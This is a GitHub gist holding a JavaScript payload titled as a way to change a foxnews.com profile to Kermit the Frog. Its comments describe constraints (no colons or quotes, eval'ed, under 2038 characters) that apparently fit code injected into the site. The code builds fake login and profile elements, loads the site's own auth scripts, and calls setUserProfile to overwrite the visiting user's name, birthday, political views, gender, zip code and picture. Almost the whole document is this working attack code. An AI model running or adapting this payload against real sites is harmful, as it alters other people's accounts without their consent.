-
-
Save spudtrooper/bb3104d09acf57d18ff3e5985fa81df1 to your computer and use it in GitHub Desktop.
Change your foxnews.com profile to Kermit the Frog
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Changes your foxnews.com profile to Kermit the Frog. | |
*/ | |
// The code cannot contain colons, so replace then with `C`. | |
C = String.fromCharCode(58); | |
// Strings cannot contain quotes, because this will be eval'ed, so | |
// replace quotes in strings with `Q`. | |
Q = String.fromCharCode(39); | |
// Just shortcuts to get this under 2038 characters. | |
d = document; | |
cr = function(s) {return d.createElement(s);} | |
ap = function(s) {d.body.appendChild(s);} | |
changeProfile = function() { | |
u = {}; | |
u['picture'] = ('https' + C + '//upload.wikimedia.org/wikipedia/en/thumb/' + | |
'6/62/Kermit_the_Frog.jpg/220px-Kermit_the_Frog.jpg') | |
u['account_active'] = 'true'; | |
u['agreed_terms'] = true; | |
u['birthday'] = '1980-01-02'; | |
u['name'] = 'kermit@gmail.com'; | |
u['last_name'] = 'The Frog'; | |
u['first_name'] = 'Kermit'; | |
u['display_name'] = ( | |
'kermie' + (1e20*Math.random())).substring(0, 15); | |
u['gender'] = 'male'; | |
u['zip_code'] = '10503'; | |
u['political_views'] = 'democrat'; | |
p = {}; | |
p['user_metadata'] = u; | |
setUserProfile(p, function (_, c) { | |
console.log(JSON.stringify(c)); | |
}); | |
}; | |
preparePage = function(afterFn) { | |
function addFakeContent() { | |
var meta = cr('meta'); | |
meta.setAttribute('name', 'auth_type'); | |
meta.setAttribute('content', 'profile'); | |
d.head.appendChild(meta); | |
var login = cr('a'); | |
login.className = 'login'; | |
ap(login); | |
var logout = cr('button'); | |
logout.className = 'auth0-btn-logout'; | |
ap(logout); | |
changePass = cr('a'); | |
changePass.id = 'change-pass'; | |
ap(changePass); | |
function n(s) {return '<select display=' + Q + ' name=' + Q + s + Q + '></select>';} | |
function userProfileHtml() { | |
return [ | |
n('first_name'), | |
n('birthday'), | |
n('last_name'), | |
n('display_name'), | |
n('political_views'), | |
n('household_income'), | |
n('gender'), | |
n('zip_code'), | |
n('profile_picture'), | |
n('fb_breaking_alerts'), | |
n('fn_breaking_alerts'), | |
n('fn_morn_headlines'), | |
n('top_headline'), | |
n('fn_opinion_headlines'), | |
n('fn_fox_411_newsletter'), | |
n('fn_science_and_technology'), | |
n('fn_health_newsletter'), | |
n('fox_fan_scoop'), | |
n('halftime_report'), | |
].join(''); | |
} | |
var userProfile = cr('div'); | |
userProfile.className = 'fn-user-profile'; | |
userProfile.innerHTML = userProfileHtml(); | |
ap(userProfile); | |
function authOptionalHtml() { | |
return [ | |
n('political_views'), | |
n('household_income'), | |
n('fn_breaking_alerts'), | |
n('fn_morn_headlines'), | |
n('top_headline'), | |
n('halftime_report'), | |
].join(''); | |
} | |
var authOptional = cr('div'); | |
authOptional.className = 'auth0-optional'; | |
authOptional.innerHTML = authOptionalHtml(); | |
ap(authOptional); | |
} | |
function loadAssets() { | |
function loadJs(src) { | |
var script = cr('script'); | |
script.src = src; | |
ap(script); | |
} | |
function loop(scripts) { | |
if (!scripts.length) { | |
setTimeout(afterFn, 200); | |
return; | |
} | |
var script = scripts.shift(); | |
loadJs('//global.fncstatic.com/static/orion/scripts/core/' + script); | |
setTimeout(loop.bind(this, scripts), 100); | |
} | |
var scripts = [ | |
'auth/app/libs/core-js.min.js', | |
'auth/app/libs/sweetalert2.min.js', | |
'ag.core.js?v=20180509153054', | |
'auth/loader.js?v=20180509153054', | |
]; | |
loop(scripts); | |
} | |
addFakeContent(); | |
loadAssets(); | |
}; | |
preparePage(changeProfile); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment